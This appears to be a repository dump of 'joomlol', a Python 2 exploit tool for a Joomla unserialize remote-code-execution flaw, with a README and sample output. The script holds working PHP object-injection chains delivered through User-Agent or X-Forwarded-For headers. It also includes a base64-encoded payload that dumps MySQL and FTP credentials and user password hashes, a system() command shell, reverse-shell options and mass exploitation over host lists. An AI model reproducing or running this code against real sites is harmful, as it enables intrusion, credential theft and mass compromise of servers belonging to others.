├── LICENSE ├── README.md ├── back_python.php └── joomlol.py /LICENSE: -------------------------------------------------------------------------------- 1 | This software is licensed under the "Anyone But Richard M Stallman" 2 | (ABRMS) license, described below. No other licenses may apply. 3 | 4 | 5 | -------------------------------------------- 6 | The "Anyone But Richard M Stallman" license 7 | -------------------------------------------- 8 | 9 | Do anything you want with this program, with the exceptions listed 10 | below under "EXCEPTIONS". 11 | 12 | THIS SOFTWARE IS PROVIDED "AS IS" WITH NO WARRANTY OF ANY KIND. 13 | 14 | In the unlikely event that you happen to make a zillion bucks off of 15 | this, then good for you; consider buying a homeless person a meal. 16 | 17 | 18 | EXCEPTIONS 19 | ---------- 20 | 21 | Richard M Stallman (the guy behind GNU, etc.) may not make use of or 22 | redistribute this program or any of its derivatives. 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # joomlol 2 | Joomla User-Agent/X-Forwarded-For RCE 3 | 4 | Exploit for Joomla's unserialize session handling RCE. Drop your own payload or use the backconnect. Mass exploiter built in(no threading cuz imgay), interactive shell too. Whatever, figured my github needed some lovin' from me for once. 5 | 6 | ``` 7 | @skr0 ➜ python2.7 joomlol.py -t http://192.168.1.134/ -i 8 | .---. .-'''-. .-'''-. .-'''-. 9 | | | ' _ \ ' _ \ .---. ' _ \ .---. 10 | '---' / /` '. \ / /` '. \ __ __ ___ | | / /` '. \ | | 11 | .---.. | \ ' . | \ ' | |/ `.' `. | |. | \ ' | | 12 | | || ' | '| ' | '| .-. .-. '| || ' | '| | 13 | | |\ \ / / \ \ / / | | | | | || |\ \ / / | | 14 | | | `. ` ..' / `. ` ..' / | | | | | || | `. ` ..' / | | 15 | | | '-...-'` '-...-'` | | | | | || | '-...-'` | | 16 | | | | | | | | || | | | 17 | | | |__| |__| |__|| | | | 18 | __.' ' '---' '---' 19 | | ' 20 | |____.' 21 | Joomla User-Agent/X-Forwarded-For RCE 22 | [+] testing one two on dat http://192.168.1.134/ 23 | [+] first request: a solid 200 24 | [+] moneyshot is a gohoho 25 | 26 | [+] PHP uname: Linux skr0nk 3.16.0-57-generic #77~14.04.1-Ubuntu SMP Thu Dec 17 23:20:00 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 27 | [+] Gathering DBMS Data... 28 | [*] MySQL Host: localhost 29 | [*] MySQL User: root 30 | [*] MySQL Password: lol 31 | [*] MySQL Database: lol_www 32 | [!] FTP Disabled on this host, skipping. 33 | [+] Now to grab usertables... 34 | [*] Username: dongs Email: dongs@fbi.lol Password: $2y$10$Kz64bcYEOzoqLct./DDFEOAOTb6VDc0kQSM0HXmDmEcylNWW0EOq2``` 35 | -------------------------------------------------------------------------------- /back_python.php: -------------------------------------------------------------------------------- 1 | 13 | -------------------------------------------------------------------------------- /joomlol.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # Jaime Cochran - 2015 3 | # `gr33tz` to Darren/infodox/Dr. David D. Davidson 4 | # coding: utf-8 5 | 6 | import urllib2 7 | from urllib2 import Request, urlopen, URLError, HTTPError 8 | import httplib 9 | import sys 10 | import random 11 | import argparse 12 | import string 13 | import os 14 | import readline 15 | import socket 16 | readline.parse_and_bind('tab: complete') 17 | readline.parse_and_bind('set editing-mode vi') 18 | 19 | red = "\x1b[1;31m" 20 | green = "\x1b[1;32m" 21 | clear = "\x1b[0m" 22 | blue = "\x1b[1;34m" 23 | 24 | def banner(): 25 | print """\n%s .---. .-'''-. .-'''-. .-'''-. 26 | | | ' _ \ ' _ \ .---. ' _ \ .---. 27 | '---' / /` '. \ / /` '. \ __ __ ___ | | / /` '. \ | | 28 | .---.. | \ ' . | \ ' | |/ `.' `. | |. | \ ' | | 29 | | || ' | '| ' | '| .-. .-. '| || ' | '| | 30 | | |\ \ / / \ \ / / | | | | | || |\ \ / / | | 31 | | | `. ` ..' / `. ` ..' / | | | | | || | `. ` ..' / | | 32 | | | '-...-'` '-...-'` | | | | | || | '-...-'` | | 33 | | | | | | | | || | | | 34 | | | |__| |__| |__|| | | | 35 | __.' ' '---' '---' 36 | | ' 37 | |____.' 38 | %sJoomla User-Agent/X-Forwarded-For RCE%s""" %(green, blue, clear) 39 | 40 | def php_encoder(php_payload): # infodox style 41 | f = open(php_payload, "r").read() 42 | f = f.replace("", "") 44 | encoded = f.encode('base64').replace("\n", "").strip() 45 | return encoded 46 | 47 | def build_chain(evil): 48 | one = """}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";""" 49 | two = """eval(base64_decode('%s'));JFactory::getConfig();exit;""" %(evil) 50 | three = """";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";b:1;}""" 51 | four = '\xf0\xfd\xfd\xfd' 52 | payload = """%ss:%d:\"%s%s%s""" %(one, len(two), two, three, four) 53 | return payload 54 | 55 | def build_chain2(evil): 56 | one = """ewah}__jgkaeg|O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";""" 57 | two = """eval(base64_decode('%s'));JFactory::getConfig();exit;""" %(evil) 58 | three = """";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'""" 59 | four = '\xf0\xfd\xfd\xfd' 60 | payload = """%ss:%d\"%s%s%s""" %(one, len(two), two, three, four) 61 | return payload 62 | 63 | def hack(url, header, php_payload, pop_chain, ipback, port): 64 | rand = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(4)) 65 | evil = """eval(base64_decode($_SERVER['HTTP_%s']));""" %(rand) 66 | evil = evil.encode('base64').replace("\n", "").strip() 67 | 68 | if pop_chain == '1': 69 | pop_chain = build_chain(evil=evil) 70 | if pop_chain == '2': 71 | pop_chain = build_chain2(evil=evil) 72 | 73 | try: 74 | req = urllib2.Request(url) 75 | 76 | if header == "ua": 77 | req.add_header('User-Agent', pop_chain) 78 | if header == "xff": 79 | req.add_header('X-Forwarded-For', pop_chain) 80 | req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0') 81 | 82 | resp = urllib2.urlopen(req, timeout = 10) 83 | except urllib2.HTTPError, error: 84 | print "%s[+] you have FAILED: %s%s" %(red, error.read(), clear) 85 | except URLError as e: 86 | print e.reason 87 | except httplib.BadStatusLine as e: 88 | pass 89 | except socket.timeout as e: 90 | pass 91 | 92 | else: 93 | cookie = resp.headers.get('Set-Cookie') 94 | 95 | print "[+] first request: a solid %s" %(resp.getcode()) 96 | print "[+] moneyshot is a gohoho" 97 | 98 | backvals = {'host': ipback, 'port': port} 99 | req2 = urllib2.Request(url) 100 | req2.add_header('cookie', cookie) 101 | req2.add_header('X-Backwarded-For', "; ".join('%s=%s' % (k,v) for k,v in backvals.items())) 102 | req2.add_header(rand, php_payload) 103 | req2.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0') 104 | 105 | try: 106 | resp = urllib2.urlopen(req2) 107 | return resp.read() 108 | except urllib2.HTTPError, error: 109 | print error.read() 110 | except URLError as e: 111 | print "%s[!] YOU HAVE FAILED: %s%s" %(red, e.reason, clear) 112 | 113 | def grip_deets(url, pop_chain): 114 | grip = "IAogaW5jbHVkZSgnY29uZmlndXJhdGlvbi5waHAnKTsKICRKQ29uZmlnID0gbmV3IEpDb25maWco" 115 | grip += "KTsKICRob3N0ID0gJEpDb25maWctPmhvc3Q7CiAkdXNlciA9ICRKQ29uZmlnLT51c2VyOwogJHBh" 116 | grip += "c3N3b3JkID0gJEpDb25maWctPnBhc3N3b3JkOwogJGRiID0gJEpDb25maWctPmRiOwogJHByZWZp" 117 | grip += "eCA9ICRKQ29uZmlnLT5kYnByZWZpeDsKICR1bmFtZSA9IHBocF91bmFtZSgpOwogZWNobyAiXG5b" 118 | grip += "K10gUEhQIHVuYW1lOiAiLiR1bmFtZS4iXG4iOwogZWNobyAiWytdIEdhdGhlcmluZyBEQk1TIERh" 119 | grip += "dGEuLi5cbiI7CiBlY2hvICJbKl0gTXlTUUwgSG9zdDogIi4kaG9zdC4iXG4iOwogZWNobyAiWypd" 120 | grip += "IE15U1FMIFVzZXI6ICIuJHVzZXIuIlxuIjsKIGVjaG8gIlsqXSBNeVNRTCBQYXNzd29yZDogIi4k" 121 | grip += "cGFzc3dvcmQuIlxuIjsKIGVjaG8gIlsqXSBNeVNRTCBEYXRhYmFzZTogIi4kZGIuIlxuIjsKIGlm" 122 | grip += "ICgkSkNvbmZpZy0+ZnRwX2VuYWJsZSA9PSAiMSIpIHsKICAgICBlY2hvICJbK10gR2F0aGVyaW5n" 123 | grip += "IEZUUCBEYXRhXG4iOwogICAgIGVjaG8gIlsqXSBGVFAgSG9zdDogIi4kSkNvbmZpZy0+ZnRwX2hv" 124 | grip += "c3QuIlxuIjsKICAgICBlY2hvICJbKl0gRlRQIFBvcnQ6ICIuJEpDb25maWctPmZ0cF9wb3J0LiJc" 125 | grip += "biI7CiAgICAgZWNobyAiWypdIEZUUCBVc2VyOiAiLiRKQ29uZmlnLT5mdHBfdXNlci4iXG4iOwog" 126 | grip += "ICAgIGVjaG8gIlsqXSBGVFAgUGFzc3dvcmQ6ICIuJEpDb25maWctPmZ0cF9wYXNzLiJcbiI7CiAg" 127 | grip += "ICAgZWNobyAiWypdIEZUUCBSb290OiAiLiRKQ29uZmlnLT5mdHBfcm9vdC4iXG4iOwogfSBlbHNl" 128 | grip += "IHsKICAgICBlY2hvICJbIV0gRlRQIERpc2FibGVkIG9uIHRoaXMgaG9zdCwgc2tpcHBpbmcuXG4i" 129 | grip += "OwogfQogZWNobyAiWytdIE5vdyB0byBncmFiIHVzZXJ0YWJsZXMuLi5cbiI7CiAkY29ubmVjdGlv" 130 | grip += "biA9IG5ldyBteXNxbGkoJGhvc3QsICR1c2VyLCAkcGFzc3dvcmQsICRkYik7CiAkdGFibGUgPSAk" 131 | grip += "cHJlZml4LiJ1c2VycyI7CiAkaGFydmVzdCA9ICJTRUxFQ1QgdXNlcm5hbWUsZW1haWwscGFzc3dv" 132 | grip += "cmQgRlJPTSAiLiR0YWJsZTsKICRyZXN1bHQgPSAkY29ubmVjdGlvbi0+cXVlcnkoJGhhcnZlc3Qp" 133 | grip += "OyAKIGlmICgkcmVzdWx0LT5udW1fcm93cyA+IDApIHsKICAgICB3aGlsZSgkcm93ID0gJHJlc3Vs" 134 | grip += "dC0+ZmV0Y2hfYXNzb2MoKSkgewogICAgICAgICBlY2hvICJbKl0gVXNlcm5hbWU6ICIuJHJvd1sn" 135 | grip += "dXNlcm5hbWUnXS4iICAgRW1haWw6ICIuJHJvd1snZW1haWwnXS4iICAgUGFzc3dvcmQ6ICIuJHJv" 136 | grip += "d1sncGFzc3dvcmQnXS4iXG4iOwogICAgIH0KIH0gZWxzZSB7CiAgICAgZWNobyAiWy1dIFVzZXJ0" 137 | grip += "YWJsZSBkdW1wIGZ1Y2tlZCB1cC4gSXMgdGhlcmUgbm8gdXNlcnM/XG4iOwogfQogJGNvbm5lY3Rp" 138 | grip += "b24tPmNsb3NlKCk7CiAK" 139 | 140 | read = hack(url=url, header="xff", php_payload=grip, pop_chain=pop_chain, ipback=None, port=None) 141 | 142 | if read == None: 143 | return "[!] nope" 144 | elif read.find("DBMS") == -1: 145 | return "[!] PORBABBBLY NOT VULN" 146 | elif read.find("") and read.find("DBMS") != -1: 147 | return read.split("")[1] 148 | else: 149 | return read 150 | 151 | def shell(url, pop_chain): # mostly infodox 'pty' 152 | print "%s[*] Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something" %(green) 153 | while True: 154 | cmd = raw_input("~$ ") 155 | if cmd == "exit": 156 | sys.exit("%s[!] Shell exiting!%s" %(red, clear)) 157 | else: 158 | cmd = """system('%s');""" %(cmd) 159 | cmd = cmd.encode("base64").replace("\n", "").strip() 160 | read = hack(url=url, header="xff", php_payload=cmd, pop_chain=pop_chain, ipback=None, port=None) 161 | if read.find("") == -1: 162 | print "\n".join(read) 163 | else: 164 | print read.split("")[1] 165 | 166 | def main(): 167 | banner() 168 | parser = argparse.ArgumentParser() 169 | parser.add_argument('-t', action='store', dest='url', 170 | help='Target url/ip') 171 | parser.add_argument('-p', action='store', dest='php_payload', 172 | help='PHP payload') 173 | parser.add_argument('-i', action='store_true', default=False, dest='grip', 174 | help='Gather info from Joomlas config file') 175 | parser.add_argument('--chain', action='store', default='1', dest='pop_chain', 176 | help='Choose POP chain 1 or 2') 177 | parser.add_argument('--shell', action='store_true', default=False, dest='shell', 178 | help='Drop very shitty shell(USE SPARINGLY)') 179 | parser.add_argument('-m', action='store_true', default=False, dest='mass', 180 | help='Enable mass exploitation(must provide list of hosts)') 181 | parser.add_argument('--list', action='store', dest='targets', 182 | help='File containing list of URLs') 183 | parser.add_argument('--header', action='store', default='xff', 184 | help='Choose either ua or xff header') 185 | parser.add_argument('--host', action='store', dest='ipback', 186 | help='Listening backconnect host') 187 | parser.add_argument('--port', action='store', dest='port', 188 | help='Port listeninging on backconnect host') 189 | parser.add_argument('--out', action='store', dest='out', 190 | help='Log all yr shit to a fucking file') 191 | args = parser.parse_args() 192 | 193 | print "%s[+] testing one two on dat %s%s" %(green, args.url, clear) 194 | 195 | if args.grip == True and args.mass == False: 196 | print grip_deets(url=args.url, pop_chain=args.pop_chain) 197 | elif args.url == None and args.mass == False: 198 | parser.error("please provide a target: -t url for a reverse shell or -m, -p php_payload.php and --list hosts.txt for mass exploitation") 199 | elif args.shell == True: 200 | shell(url=args.url, pop_chain=args.pop_chain) 201 | elif args.mass == True: 202 | if args.php_payload == None and args.targets == None or args.grip == False: 203 | parser.error("error: -m requires -p or -i and --list") 204 | if args.grip == True: 205 | with open(args.targets, "r") as f: 206 | for l in f: 207 | l = l.replace("\n","") 208 | print "[+] This site: http://%s/" %(l) 209 | l = "http://%s" %(l) 210 | print grip_deets(url=l, pop_chain=args.pop_chain) 211 | 212 | else: 213 | print "[+] Mass shellin' of the joomlols is a go!" 214 | with open(args.targets, "r") as f: 215 | for l in f: 216 | l = l.replace("\n","") 217 | l = "http://%s" %(l) 218 | print hack(url=l, header=args.header, php_payload=php_encoder(args.php_payload), pop_chain=args.pop_chain, ipback=None, port=None) 219 | elif args.php_payload == None and args.ipback == None and args.port == None: 220 | parser.error("reverse shell depends on -p pay_load --host 127.0.0.1 --port 4444") 221 | else: 222 | print "[+] Attempting to exploit..." 223 | print hack(url=args.url, header=args.header, php_payload=php_encoder(args.php_payload), pop_chain=args.pop_chain, ipback=args.ipback, port=args.port) 224 | 225 | if __name__ == "__main__": 226 | main() 227 | --------------------------------------------------------------------------------